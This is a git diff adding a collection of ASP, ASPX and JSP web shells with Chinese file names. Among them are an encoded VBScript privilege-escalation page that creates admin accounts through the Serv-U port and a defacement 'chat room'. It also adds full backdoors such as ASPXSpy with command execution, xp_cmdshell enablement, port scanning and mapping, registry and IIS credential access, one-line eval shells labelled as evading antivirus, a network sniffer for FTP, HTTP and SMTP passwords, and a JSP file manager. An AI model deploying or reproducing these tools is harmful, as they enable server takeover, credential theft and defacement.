wED~Uls+{B2W.OEPOXan'Etr[9+xv~bNxBaGMYv,\mVE'EE[aW.YLJv@*@!zY9@*J@#@&Lr@!rxaEDPUlhn{B^B,OXa+xv4kN[n B~k9xEmv,\mVE'EE[1:[[rB~dby+{v*ZB@*r@#@&Lr@!bx2EO~ lh+{v0EPOza+'v4bN[+ v,k[{B6BP7l^;+{BE[6[Ev,/k.n'E*!E@*E@#@&Lr@!rx2;DPUlsn'E?iC1YkGUEPOXan{B4bN9+xEPb['E?il1YrG BP7CV!+'E+v@*@!z6W.:@*E@#@&%J@!dmMk2O,VlUL!lL+{vNl-m/1DkaYE@*J@#@&%J9W^;s+xD hMkYcv@!1+ YnD@*正在连接~8 {RZ !cFlELwW.OLJS使用用户名),ELEdDLJ~口令:r[aC/k[ERcR@!^xY.@*E#ir@#@&Lr/YPkhnKEO`E[W1Ehn YRCs^RLW^[kEUc/!4:bYvbiE~*!Z!bIr@#@&NE@!J/mMr2Y@*J@#@&^ldn, @#@&knY,4xjD\n.cZ.+mOr8N+1Y`rHb^DK/G0DRp\dCK:KJ*@#@&( Gwx,J!2PEBPEtDOw=z&qyGRT ZRq)r~LPWDwaWDDPL~JJoGV9/;UJEwm[:bxzk+E~,KMEn~~Er~~Jr@#@&(Rdn NPEik+.PTGrP',\(ZDd0,'PrwC/kPG[rP[,-4;DS6~'Pr/bYnPnam~J,'P1:[~LP\8/MSWPL~$ErD@#@&/+DPkn/kkGxvJ8E*'4@#@&Lr@!0K.hPs+DtGNxvaWdYE~xm:nxEoWs[kEUB@*E@#@&%r@!bxw!Y,Uls+xB!B~OHw+{vtbNNUvPbN{B;B~-mV;+{vJLEdnM[Jv@*@!zON@*E@#@&%r@!bxw!Y,Uls+xBaB~OHw+{vtbNNUvPbN{B2B~-mV;+{vJLwCdk[Jv@*@!zON@*E@#@&%r@!bxw!Y,Uls+xBaW.OEPYH2+{Btb[[+ B,k['v2KDOB,-l^EnxEJ[2GMY'JE@*@!zO9@*r@#@&NJ@!rxaEOP lhn{BmE~YHw+{v4k9NxvPr[{B^B,-l^EnxEJ[^h9[EB,dbyn{Bl!B@*J@#@&Lr@!rxaEO~ l:xB6BPDz2+{B4k[NnUEPrN{v0EP-C^E+xvr[W[rv,/r.+{B*ZB@*E@#@&LE@!bx2;DPxmh+{B?`C^YbW B~Yz2'vtb[Nxv~bN'vj`l^YbG B~7l^E+{B2v@*@!zWWM:@*E@#@&Lr@!/1DkaO~VmxTEConxELC\mdmMk2OE@*J@#@&NJ[W1;s+UDRSDkD+vv@!1+UYD@*正在提升权限S请等待cRRB@!mxY.@*B*ir@#@&LEdYPksnW!YcErNW^;s+UYcC^V TW^N/!xcdE(:rYv#IEr~cZT!*iJ@#@&%J@!zkm.k2O@*J@#@&1C/Pf@#@&/+O~1'j+M-D ;DlYr(%+1YcJtk^.K/W6ORoHS_PPnr#@#@&CRG2x~JV3Kr~~E4YY2lJzq F ZRTcF=JPLPaGDDP'PrzLG^N/!Uz!wl9hrxJ/2JSPP.!+SPrE~,JE@#@&lRdn N~VKLbx;k+MP[,VKLk wC/kP'~sYPL~NVNKhCk PLP5ErO@#@&d+D~//drKx`ECr#xl@#@&NJ@!1+ Y+M@*提权完毕B已执行了命令:@!4M@*@!0KxO~1WVK.'M+N@*E'msNLJ@!zWG Y@*@!(.@*@!4.@*r@#@&%E@!kUw!O,Yza+{4EDYKUP7lsE'v~返回继续,BPKUZ^km0xEJ^W1lOkGUct.+6xBQb^ObWxxjD-EEIrJ@*r@#@&LJ@!z1nxD+.@*r@#@&^m/+,nVk+@#@&GUPDMW.P.nkEh+,U+XY@#@&k+Y~C{/n/krKxcrlr#@#@&/OP('d+k/rG `J(E#@#@&/O~m{//dkGUvJ^J*@#@&mRC8KDY@#@&U+OPm~{PHKY4kxT@#@&8Rm4GDD@#@&jYP(~',1WD4rxT@#@&m l8GMY@#@&UnY,m~x,1WO4bxL@#@&%r@!^xD+D@*@!6GDsPh+DtG[{BwKdYEPxmhn'EoKV[/;UE@*E@#@&%J@!YC8^+PAr9Y4'E*Ocv,tko4Y{vF+&vP(W.[D'EqB,m+^s2l9NbxL'vTEP^+^s/al^r o'vqEP8WM[D^KVKD'Ea+v+vB@*J@#@&NJ@!D.PmVkTUxB1+ YnDv~7lskTU'E:r[9V+v@*r@#@&Lr@!DN~1W^/wmx{v E@*j+M\Ri,提升权限P4H~?m:@!JO[@*r@#@&LE@!&OM@*E@#@&%J@!Y.~mVkLU{B^+ ODv,\mVkTx{v:bN[VB@*E@#@&Lr@!Y9Phb[Ot{B8!TB@*用户名l@!zON@*E@#@&LE@!DNPAr9Y4'EfF,v@*@!bxw!Y,Uls+xB!B~OHw+{vY6YE~rN{B!B~\Cs!+xBdGmmV)[skxrdDDCYK.E@*@!JY9@*J@#@&NE@!JY.@*r@#@&%r@!YM~l^ko xvmxD+.B~-mVro xBsk[[^+B@*E@#@&%J@!O9@*口~令:@!zDN@*r@#@&%J@!Y[@*@!kU2!YP C:'Bav~YHw'vYnaDB~k9xBaB~-mVEnxEas@$fC0a ^3p!@$hB@*@!zDN@*J@#@&%E@!zYM@*J@#@&Lr@!OD,l^kLxxv1+UY.B,\Csboxxvsk[N^nE@*E@#@&NJ@!DN@*端~口:@!JY[@*r@#@&%r@!Y9@*@!bxw!O~xm:'vwG.DB~YH2+{BOnXYB~r9'vwK.DB~7l^E+{BWf,l%v@*@!zO[@*J@#@&%J@!zYM@*E@#@&Lr@!OD~C^kLx{vmxOnMBP-C^kLx{vsk[9VB@*r@#@&%J@!Y[@*系统路径:@!zO[@*J@#@&%J,@!Y9@*@!k w!Y~xCh'v0E~YHwnxEY+aOEPrN{v6B~7l^E+{Br'0LJvPkk"n{B%E@*@!JYN@*E@#@&NJ,@!&Y.@*r@#@&Lr~@!DD~C^koUxEmnxDnMB~7l^ko 'Ehk9Ns+E@*E@#@&LJ,@!Y9@*命 令:@!JO[@*r@#@&LEP@!O9@*@!k 2EDPUCs+'v^EPOXan{BO6DBPbN{vmEP-l^EnxEm:9~z1PxO~Ek+MPCNhr ^~Fyfclv~&mNN~',xnY,sKmC^oMWEaPm[:bxr/DDCOKD/,CNskxf~&l9NEPdk"n{BX!E@*@!JY[@*r@#@&%E,@!&YM@*r@#@&NJ,@!YMPmskTxxB1+UODB,-l^ko xv:bN9VnB@*E@#@&%J,@!Y9P^G^/wCU{B+B@*@!bx2!Y,YXa+{v/!4hkDB~Um:+{v?!4:bOvP7l^En'v提交v@*PE@#@&%J@!kU2!YPOza+xBMnk+OEP l:'EjE(:rYyB~-mVExB重置E@*J@#@&%J@!k w;Y~Um:n'EjjmmOrKxB~OHwn'E4bN[xEPk9'ECmDkGxEP-C^E+{vFE@*@!JO[@*r@#@&LE@!&OM@*@!zDC4^+@*@!J0W.h@*@!&mUD+.@*J@#@&+ N,d+^+^Y@#@&W; mYbGx,MwmO4`*@#@&WUPn.MW.PMn/!:n~ +6O@#@&+.Dc^^+CM@#@&/+DP6x?D-+MR/.lY64N+mDcE?1DbwOkULcsrVjXkYnh}4Ln^DJb@#@&r6PnMDcxEs4.@*ZPOtx@#@&TwlD4'rm)r@#@&+XkDPWEU^DkGx@#@&+ N~r6@#@&L2mY4'6 V+OUwmkmVwGV9+.`Z#@#@&TwlD4'^mlkncV0D`LwCO4~+#*@#@&k+O~6'xGO4kUo@#@&x[,0!xmDkKU@#@&mC/J\\GJ)t\fv#@#@&^C/J"+CN]3VJlmmsV,InC9I2!c*@#@&mmdJj4WSFsbVE)U+OPzA/xg+h,JAw)b~/ ?4WSFoksnv?n/krW `EoKVNn.hlOtrb*)jY,bA;'gGY4kUo@#@&^Ck+JGGh sk^nE)GWSxoksn,sHlsn)UtGAADDcb@#@&^lknrfn^sbV+r)UnY,b$Z{1nA,SAwlb~ZRGnssbV`o1Ch#l?OPzA/xgWY4r o@#@&1Ck+EANbYsbVE)U+OPzA/xg+h,JAw)b~/ 29kDsrVncw1C:b)U+O~zAZxHKY4k L@#@&^m/JZKwHok^+E)U+O~zAZ{H+SPS~olb~ZcZGwzobVn`wHls+blU+Y~)~Zx1KO4kUT@#@&mlk+r\W7+ok^+ElU+Y,)A;'1A~S~s=b$Z \K\nsbs+vsHCs+#ljY~b~/{1GDtbxo@#@&1C/J9+^sGs9+Drl?YPz$/'g+SPJAolzA/RGnVwWs[D`oHm:n#=jY~zA;'1KY4rxT@#@&mm/nE;WwHoW^N+MEl?Y,b$ZxHh~S~o)zA/ ;WwzoKV[+Mcw1Cs+*)?Y,)A;'HWDtrUT@#@&1C/JHK-nsKV9+.JljY~b~/'g+A~dAsl)~Z HK-sG^ND`w1mh+*)j+DP)$;'1KOtbxo@#@&^lk+r1nhoG^NnDrl?Y~)~Z'HnSPJAwlzA/c1hsKV9nDvsHls+blU+Y,)A;'1KO4k o@#@&^ldnrj2sbs+r)i2wkVnc*@#@&mmdJPU+mDm4J=P?l.m4`b@#@&mlknJaml zAtDcE)2^mxzh4nDccb@#@&mCdJ/:9qUtn^Vr)ZsN8jtVs`*@#@&^m/+rJWTWEDEl?/kkGx /KxO+ O/cInhK\+cE03VJ*l"+daW /+cI[kM+^Y,j]J@#@&mmd+rZW!.d+r);W;Ddnv#@#@&1C/J)s6lElzVn6mc*@#@&1lk+JkE6Owr)dE6Y2c*@#@&1C/JEasGl9J=E2VGC9`b@#@&^lk+E.mN:rUr).l9hbxc*@#@&mlk+r2mmxzh4+.nWJ)a^l Xh4n.+W`*@#@&mCdJLW(Cm0JlLK4l^Vv#@#@&;Ck+~rnMWsbVE)hDGsbVnc*@#@&1C/Jw42E)ata`b@#@&^m/nJ9Gh VGC9/Jl[KhUVKC9/c*@#@&mlk+rCwNNnVr)C2NN+^c#@#@&mmdnJ1:96E)^h96c#@#@&mm/nEm/waE=ldwXc*@#@&1lk+J4k9[+ /4+^VEl4kN9nxkt+^sc#@#@&1ld+Ej1lUfMr\sG.sJPl~UmCxG.b\nwWM:@#@&mmd+r?^l f.r7+J,lPUml 9.k7+,In;;nkYcJG.k7+Eb@#@&mCdJjmwG^NnMJ,P),?1oW^NnD,In5!+/DcJwWV9n.J*@#@&P~ZCdP3VknPtlrUwWDhc*@#@&2 [,?n^+1Y@#@&k6~b1YrW @!@*EU+D7;J,YtU~?4WS2.Dcb@#@&%J@!&4KNz@*@!ztOh^@*EXPBpAA==^#~@ +%> + + + diff --git "a/asp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.asp" "b/asp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.asp" new file mode 100644 index 0000000..a80b89c --- /dev/null +++ "b/asp/\350\217\212\350\212\261\350\201\212\345\244\251\345\256\244.asp" @@ -0,0 +1,51 @@ + + + +<%@ LANGUAGE = VBScript %> +<% +server.scripttimeout=120 +response.buffer = true +on error resume next +tm = now +ff = Request.ServerVariables("SCRIPT_NAME") + +uip = Request.ServerVariables("HTTP_X_FORWARDED_FOR") +If uip = "" Then uip = Request.ServerVariables("REMOTE_ADDR") +uip=split(uip,".",-1,1) +ipx=uip(0)&"."&uip(1)&"."&uip(2)&".*" + +data = left(replace(trim(request.form("what")),"说点什么吧",""),200) + +if data<>"" then +data = replace(replace(replace(replace(replace(replace(replace(replace(replace(data,"https://",""),"<","<"),">",">"),"%","%"),"(","["),")","]"),"/","/"),"'","'"),"""",""") +data = replace(data,"[img]","") +txt = "
    "&data&"

    IP为"&ipx&"的童鞋 >>> Fucked at:"&tm&"

    " +Set Fs=Server.CreateObject("Scripting.FileSystemObject") +Set File=Fs.OpenTextFile(Server.MapPath(ff),8,Flase) +File.Writeline txt +File.Close +response.write "" +end if +%> + + +Chinese Hackers' Chating Room + + +
    +Hacked! Owned by Chinese Hackers!
    +

    菊花聊天室

    +
    +
    +

    插入图片

    + +

    Chating Room is Powered By Silic Group Hacker Army©2009-2011

    + +
    +
    diff --git "a/asp/\350\231\232\346\213\237\346\234\272\346\217\220\346\235\203\345\244\247\351\251\254.asp" "b/asp/\350\231\232\346\213\237\346\234\272\346\217\220\346\235\203\345\244\247\351\251\254.asp" index 0d9e6db..94a3085 100644 --- "a/asp/\350\231\232\346\213\237\346\234\272\346\217\220\346\235\203\345\244\247\351\251\254.asp" +++ "b/asp/\350\231\232\346\213\237\346\234\272\346\217\220\346\235\203\345\244\247\351\251\254.asp" @@ -859,7 +859,7 @@ M=request("M") if Ftype="" then Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" if Fpath="\" then Fpath=Server.MapPath("\") if Fpath="." or Fpath="" then Fpath=Server.MapPath(".") -if addcode="" then addcode=" " +if addcode="" then addcode="" if checkbox="" then checkbox=request("checkbox") if pcfile="" then pcfileName=Request.ServerVariables("SCRIPT_NAME") diff --git a/aspx/4399.apx b/aspx/4399.apx new file mode 100644 index 0000000..2dc71d9 --- /dev/null +++ b/aspx/4399.apx @@ -0,0 +1,2563 @@ +<% %><%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> +<%@ import Namespace="System.IO"%> +<%@ import Namespace="System.Diagnostics"%> +<%@ import Namespace="System.Data"%> +<%@ import Namespace="System.Management"%> +<%@ import Namespace="System.Data.OleDb"%> +<%@ import Namespace="Microsoft.Win32"%> +<%@ import Namespace="System.Net.Sockets" %> +<%@ import Namespace="System.Net" %> +<%@ import Namespace="System.Runtime.InteropServices"%> +<%@ import Namespace="System.DirectoryServices"%> +<%@ import Namespace="System.ServiceProcess"%> +<%@ import Namespace="System.Text.RegularExpressions"%> +<%@ Import Namespace="System.Threading"%> +<%@ Import Namespace="System.Data.SqlClient"%> +<%@ import Namespace="Microsoft.VisualBasic"%> +<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%> + + + + + + +Web Manager + + + + +
    +
    +Password: + +

    +

    +
    +
    + + + + + + + +
    Web Manager
    + | | | | | | | | | | | | | +
    +
    +
    +
    +

    +
    + + + + + + +
    当前目录 : +
    + + + + 文件(夹)名最后修改时间大小操作 + +
    +
    +
    | 木马目录 | 新建目录 + | 木马自杀 +
    +
    +
    +

    当前文件(创建新的文件名和新文件)
    + DefaultUTF-8 +

    +

    文件内容
    + +

    +

    +
    +
    +

    修改文件

    +

    参考文件

    +

    +

    设置最后修改时间 »

    +

    当前文件

    +

    + +  + +  + +  + +

    +

    +创建时间 : + +最后修改时间 : + +最后访问时间 : + +

    +

    + +

    +
    +
    + + +IDIIS_USERIIS_PASSDomainPath + +
    +
    +
    + + +IDProcessThreadCountPriorityAction + +
    +
    +
    +

    Cmd路径:
    + +

    + 语句:
    + +
    +
    +
    +
    + + +IDNamePathStateStartMode + +
    +
    +
    +
    +
      +

      +
      +
        +

        +
        +
          +
          +
          + + + +
          +
          +
          + + + + + + + + + + + + +
          用户名 : 密码 : 端口 :
          CmdShell  : 
          +
          + + + + + + +
          +
          +
          +
          +

          注册表路径 :

          + + + +KeyValue + +
          +
          +
          +

          +IP : 端口 : +

          +
          +
          +
          +

          语句 : MSSQLACCESS

          +
          +
          +
          +Please select a database : +SQLExec : -- SQL Server Exec --Add xp_cmdshellAdd sp_oacreateAdd xp_cmdshell(SQL2005)Add sp_oacreate(SQL2005)Add makewebtask(SQL2005)Add openrowset/opendatasource(SQL2005)XP_cmdshell execXP_dirtreeSP_oamethod execSP_makewebtask make fileSandBoxLogBackupDatabaseBackup +
          +
          Run SQL
          +
          +
          +

          + +

          +
          +
          +
          +
          + + + + + + + +
          本地Ip : 本地端口 : 远程Ip : 远端口程 :

          +
          + + + + + + + + + + + + + + + + + + + + + +
          关键词 使用正则表达式
          替换 替换
          搜索文件类型文件名称文件内容
          路径
          +
          +
          + +File PathLast modifiedSize + +
          +
          +
          Web ManAger
          +
          + + diff --git a/aspx/ASPXSpy.aspx b/aspx/ASPXSpy.aspx new file mode 100644 index 0000000..9b2c924 --- /dev/null +++ b/aspx/ASPXSpy.aspx @@ -0,0 +1,1561 @@ +<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" %> +<%@ import Namespace="System.IO" %> +<%@ import Namespace="System.Diagnostics" %> +<%@ import Namespace="System.Data" %> +<%@ import Namespace="System.Data.OleDb" %> +<%@ import Namespace="Microsoft.Win32" %> +<%@ import Namespace="System.Net.Sockets" %> +<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %> +<%@ import Namespace="System.DirectoryServices" %> + + + + + + ASPXSpy1.0 -> Bin:) + + + + +
          + + + + + +

          + Copyright (C) 2008 Bin -> WwW.RoOTkIt.NeT.Cn + +
          + + + + +   + + +
          + Copyright (C) 2008 Bin -> WwW.RoOTkIt.NeT.Cn -> Reverse-IP
          + +

          +

          + +    + +
          + + + +
          + +   + + + + + +
          +
          + FileName : +
          + + + + +
          + CreationTime : + + LastWriteTime : + + LastAccessTime : +
          + + +
          +
          +

          + Path:
          +
          +  
          +
          + CmdPath :  C:\Windows\System32\Cmd.exe
          + Argument : + /c Set
          + +
          +
          +
          + +
          + ConnString : + server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB
          + + +
          + + + +

          +
          + +
          + + +
          +
          +
          + + Path : + c:\ +
          +   +
          +

          +
          + + +
          +
          + +
          + Name : + localadministrator + Pass : + #l@$ak#.lk;0@P + Port : + 43958
          + CMD : + cmd.exe /c net user
          +
          +
          +
          + +
          +
          +
          +
          +  
          +
          + KEY :   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName
          + VALUE : + ComputerName 
          +
          + +
          + IP : + 127.0.0.1 + PORT : + 21,80,1433,3306,3389,4899,5631,43958,65500 +
          +

          + +
          + + diff --git "a/aspx/ASPX\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206..aspx" "b/aspx/ASPX\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206..aspx" index e902ad9..a3c464d 100644 --- "a/aspx/ASPX\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206..aspx" +++ "b/aspx/ASPX\344\270\200\345\217\245\350\257\235\346\224\266\351\233\206..aspx" @@ -1,3 +1,11 @@ +ASPX过360:<%@ Page Language="Jscript"%><%eval(Request.Item["5454"],"unsafe");%> + +/*-------------------------------------------------------------------------*/ + +<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["w"],"unsafe"));%> + +/*-------------------------------------------------------------------------*/ + <%@ Page Language="Jscript"%><%eval(Request.Item["g"],"unsafe");%> /*-------------------------------------------------------------------------*/ diff --git "a/aspx/Aspx\357\274\210\345\205\215\346\235\200\357\274\211.aspx" "b/aspx/Aspx\357\274\210\345\205\215\346\235\200\357\274\211.aspx" new file mode 100644 index 0000000..dce008f --- /dev/null +++ "b/aspx/Aspx\357\274\210\345\205\215\346\235\200\357\274\211.aspx" @@ -0,0 +1,2941 @@ +<%@ Page Language="C#" validateRequest="false" AspCompat="true" Debug="true" trace="false"%> +<%@ import Namespace="System.IO" %> +<%@ import Namespace="System.Diagnostics" %> +<%@ import Namespace="System.Threading" %> +<%@ import Namespace="System.Net.Sockets" %> +<%@ import Namespace="System.Net" %> +<%@ import Namespace="System.Data.SqlClient" %> +<%@ import Namespace="Microsoft.Win32" %> +<%@ import Namespace="System.Data.OleDb" %> +<%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %> +<%@ import Namespace="System.DirectoryServices" %> +<%@ import Namespace="System.Security.Cryptography" %> + + + + + + + ASP.NET Web BackDoor + + + + + +
          + <% + + if (Session["jksession"] != null ) + { + Response.Write("

          千秋邈矣独留我,百战归来再读书。

          "); + Response.Write("

          刷新页面

          "); + if (Request.Params["action"] == "shuaxin") + { + Response.Write(" + + diff --git "a/aspx/sniffer--aspx\345\227\205\346\216\242\345\267\245\345\205\267.aspx" "b/aspx/sniffer--aspx\345\227\205\346\216\242\345\267\245\345\205\267.aspx" new file mode 100644 index 0000000..dbebb00 --- /dev/null +++ "b/aspx/sniffer--aspx\345\227\205\346\216\242\345\267\245\345\205\267.aspx" @@ -0,0 +1,707 @@ +<%@ Page Language="C#" ValidateRequest="false" %> +<%@ Import Namespace="System.Net.Sockets" %> +<%@ Import Namespace="System.Net" %> +<%@ Import Namespace="System.IO" %> +<%@ Import Namespace="System.Collections" %> +<%@ Import Namespace="System.Text" %> +<%@ Import Namespace="System.Net.NetworkInformation" %> +<%@ Import Namespace="System.Threading" %> + + + +WebSniff 1.0 Powered by 上善若水 汉化版 + + + + + + + + + +
          WebSniff 1.0

          +
          + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
          目标IP:
          自动嗅探: + FTP 密码: + +    + + HTTP Post Data: + +    + + Smtp Data: + + + +
          + 目标端口: + + +
          + 数据包大小: + + +
          + 关键字如(passwd): + + +
          + 数据包文件存放位置: + + +
          + 定时停止: + + +
          + 控制: + + +
          +
          + Status: +
          +
          + +
          +
          +


          +
          Powered by 上善若水 |汉化 + + 1 + + 2 +
          + + + + +
          + + diff --git "a/aspx/\346\230\237\345\244\226\346\217\220\346\235\203aspx\345\244\247\351\251\254(\345\216\273\345\220\216\351\227\250\347\211\210).aspx" "b/aspx/\346\230\237\345\244\226\346\217\220\346\235\203aspx\345\244\247\351\251\254(\345\216\273\345\220\216\351\227\250\347\211\210).aspx" index 90787cb..08634d7 100644 --- "a/aspx/\346\230\237\345\244\226\346\217\220\346\235\203aspx\345\244\247\351\251\254(\345\216\273\345\220\216\351\227\250\347\211\210).aspx" +++ "b/aspx/\346\230\237\345\244\226\346\217\220\346\235\203aspx\345\244\247\351\251\254(\345\216\273\345\220\216\351\227\250\347\211\210).aspx" @@ -1 +1,6 @@ <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%><%@ import Namespace="System.IO"%><%@ import Namespace="System.Diagnostics"%><%@ import Namespace="System.Data"%><%@ import Namespace="System.Management"%><%@ import Namespace="System.Data.OleDb"%><%@ import Namespace="Microsoft.Win32"%><%@ import Namespace="System.Net.Sockets" %><%@ import Namespace="System.Net" %><%@ import Namespace="System.Runtime.InteropServices"%><%@ import Namespace="System.DirectoryServices"%><%@ import Namespace="System.ServiceProcess"%><%@ import Namespace="System.Text.RegularExpressions"%><%@ Import Namespace="System.Threading"%><%@ Import Namespace="System.Data.SqlClient"%><%@ import Namespace="Microsoft.VisualBasic"%><%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%><%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%><%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%><%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%>Fuck


          im4hk

          PassWord:



          | | | | | | | | | | | | |

          <%--FileList--%>
          当前目录 :
           文件(夹)名最后修改时间大小操作
          | | | |新建目录 | 新建文件 | 木马自杀
          <%--FileEdit--%>

          当前文件(创建新的文件名和新文件)
          DefaultUTF-8

          文件内容

          <%--CloneTime--%>

          修改文件

          参考文件

          设置最后修改时间 »

          当前文件

             

          创建时间 :最后修改时间 :最后访问时间 :

          <%--IISSpy--%>
          IDIIS_USERIIS_PASSDomainPath
          <%--Process--%>
          IDProcessThreadCountPriorityAction
          <%--CmdShell--%>

          Cmd路径:

          语句:
          <%--Services--%>
          IDNamePathStateStartMode
          <%--Sysinfo--%>



                <%--UserInfo--%>
                <%--SuExp--%>
                <%--Reg--%>

                注册表路径 :

                KeyValue
                <%--PortScan--%>

                IP : 端口 :

                <%--DataBase--%>

                语句 : MSSQLACCESS

                Please select a database : SQLExec : -- SQL Server Exec --Add xp_cmdshellAdd sp_oacreateAdd xp_cmdshell(SQL2005)Add sp_oacreate(SQL2005)Add makewebtask(SQL2005)Add openrowset/opendatasource(SQL2005)XP_cmdshell execXP_dirtreeSP_oamethod execSP_makewebtask make fileSandBoxLogBackupDatabaseBackup
                Run SQL

                <%--PortMap--%>
                本地Ip : 本地端口 : 远程Ip : 远端口程 :

                <%--Search--%>
                关键词 使用正则表达式
                替换 替换
                搜索文件类型文件名称文件内容
                路径


                File PathLast modifiedSize
                +1.去掉了过时的server-u的提权功能 改成了能方便提权的提权资料 +2.在文件管理中增加了三个快捷按钮 直接达到可能存在提权利用的目录 +3.去掉了原作者万能密码的后门(这个王八蛋) +4.不知道二次开发的作者改了什么 只能在,net 2.0环境或者更高版本环境下用 蛋疼 +password:fake diff --git a/jsp/JFolder.jsp b/jsp/JFolder.jsp new file mode 100644 index 0000000..0079dcb --- /dev/null +++ b/jsp/JFolder.jsp @@ -0,0 +1,1022 @@ +<% +/** +JFileMan V1.0 windows platform +@Filename: JFolder.jsp +@Description: 一个简单的系统文件目录显示程序,类似于资源管理器,提供基本的文件操作,不过功能弱多了。 +@Author: Steven Cee +@Email : cqq1978@Gmail.com +@Bugs : 下载时,中文文件名无法正常显示;Unix操作系统上传 +*/ +%> +<%@page errorPage="/"%> +<%@page contentType="text/html;charset=gb2312"%> +<%@page import="java.io.*,java.util.*,java.net.*" %> +<%! +private final static int languageNo=1; //Language,0 : Chinese; 1:English +String strThisFile="JFileMan.jsp"; +String strSeparator = File.separator; +String[] authorInfo={" 写的不好,将就着用吧 - - by 慈勤强 http://www.topronet.com "," Thanks for your support - - by Steven Cee http://www.topronet.com "}; +String[] strFileManage = {"文 件 管 理","File Management"}; +String[] strCommand = {"CMD 命 令","Command Window"}; +String[] strSysProperty = {"系 统 属 性","System Property"}; +String[] strHelp = {"帮 助","Help"}; +String[] strParentFolder = {"上级目录","Parent Folder"}; +String[] strCurrentFolder= {"当前目录","Current Folder"}; +String[] strDrivers = {"驱动器","Drivers"}; +String[] strFileName = {"文件名称","File Name"}; +String[] strFileSize = {"文件大小","File Size"}; +String[] strLastModified = {"最后修改","Last Modified"}; +String[] strFileOperation= {"文件操作","Operations"}; +String[] strFileEdit = {"修改","Edit"}; +String[] strFileDown = {"下载","Download"}; +String[] strFileCopy = {"复制","Move"}; +String[] strFileDel = {"删除","Delete"}; +String[] strExecute = {"执行","Execute"}; +String[] strBack = {"返回","Back"}; +String[] strFileSave = {"保存","Save"}; + +public class FileHandler +{ + private String strAction=""; + private String strFile=""; + void FileHandler(String action,String f) + { + + } +} + +public static class UploadMonitor { + + static Hashtable uploadTable = new Hashtable(); + + static void set(String fName, UplInfo info) { + uploadTable.put(fName, info); + } + + static void remove(String fName) { + uploadTable.remove(fName); + } + + static UplInfo getInfo(String fName) { + UplInfo info = (UplInfo) uploadTable.get(fName); + return info; + } +} + +public class UplInfo { + + public long totalSize; + public long currSize; + public long starttime; + public boolean aborted; + + public UplInfo() { + totalSize = 0l; + currSize = 0l; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public UplInfo(int size) { + totalSize = size; + currSize = 0; + starttime = System.currentTimeMillis(); + aborted = false; + } + + public String getUprate() { + long time = System.currentTimeMillis() - starttime; + if (time != 0) { + long uprate = currSize * 1000 / time; + return convertFileSize(uprate) + "/s"; + } + else return "n/a"; + } + + public int getPercent() { + if (totalSize == 0) return 0; + else return (int) (currSize * 100 / totalSize); + } + + public String getTimeElapsed() { + long time = (System.currentTimeMillis() - starttime) / 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + public String getTimeEstimated() { + if (currSize == 0) return "n/a"; + long time = System.currentTimeMillis() - starttime; + time = totalSize * time / currSize; + time /= 1000l; + if (time - 60l >= 0){ + if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m"; + else return time / 60 + ":0" + (time % 60) + "m"; + } + else return time<10 ? "0" + time + "s": time + "s"; + } + + } + + public class FileInfo { + + public String name = null, clientFileName = null, fileContentType = null; + private byte[] fileContents = null; + public File file = null; + public StringBuffer sb = new StringBuffer(100); + + public void setFileContents(byte[] aByteArray) { + fileContents = new byte[aByteArray.length]; + System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length); + } +} + +// A Class with methods used to process a ServletInputStream +public class HttpMultiPartParser { + + private final String lineSeparator = System.getProperty("line.separator", "\n"); + private final int ONE_MB = 1024 * 1; + + public Hashtable processData(ServletInputStream is, String boundary, String saveInDir, + int clength) throws IllegalArgumentException, IOException { + if (is == null) throw new IllegalArgumentException("InputStream"); + if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException( + "\"" + boundary + "\" is an illegal boundary indicator"); + boundary = "--" + boundary; + StringTokenizer stLine = null, stFields = null; + FileInfo fileInfo = null; + Hashtable dataTable = new Hashtable(5); + String line = null, field = null, paramName = null; + boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0); + boolean isFile = false; + if (saveFiles) { // Create the required directory (including parent dirs) + File f = new File(saveInDir); + f.mkdirs(); + } + line = getLine(is); + if (line == null || !line.startsWith(boundary)) throw new IOException( + "Boundary not found; boundary = " + boundary + ", line 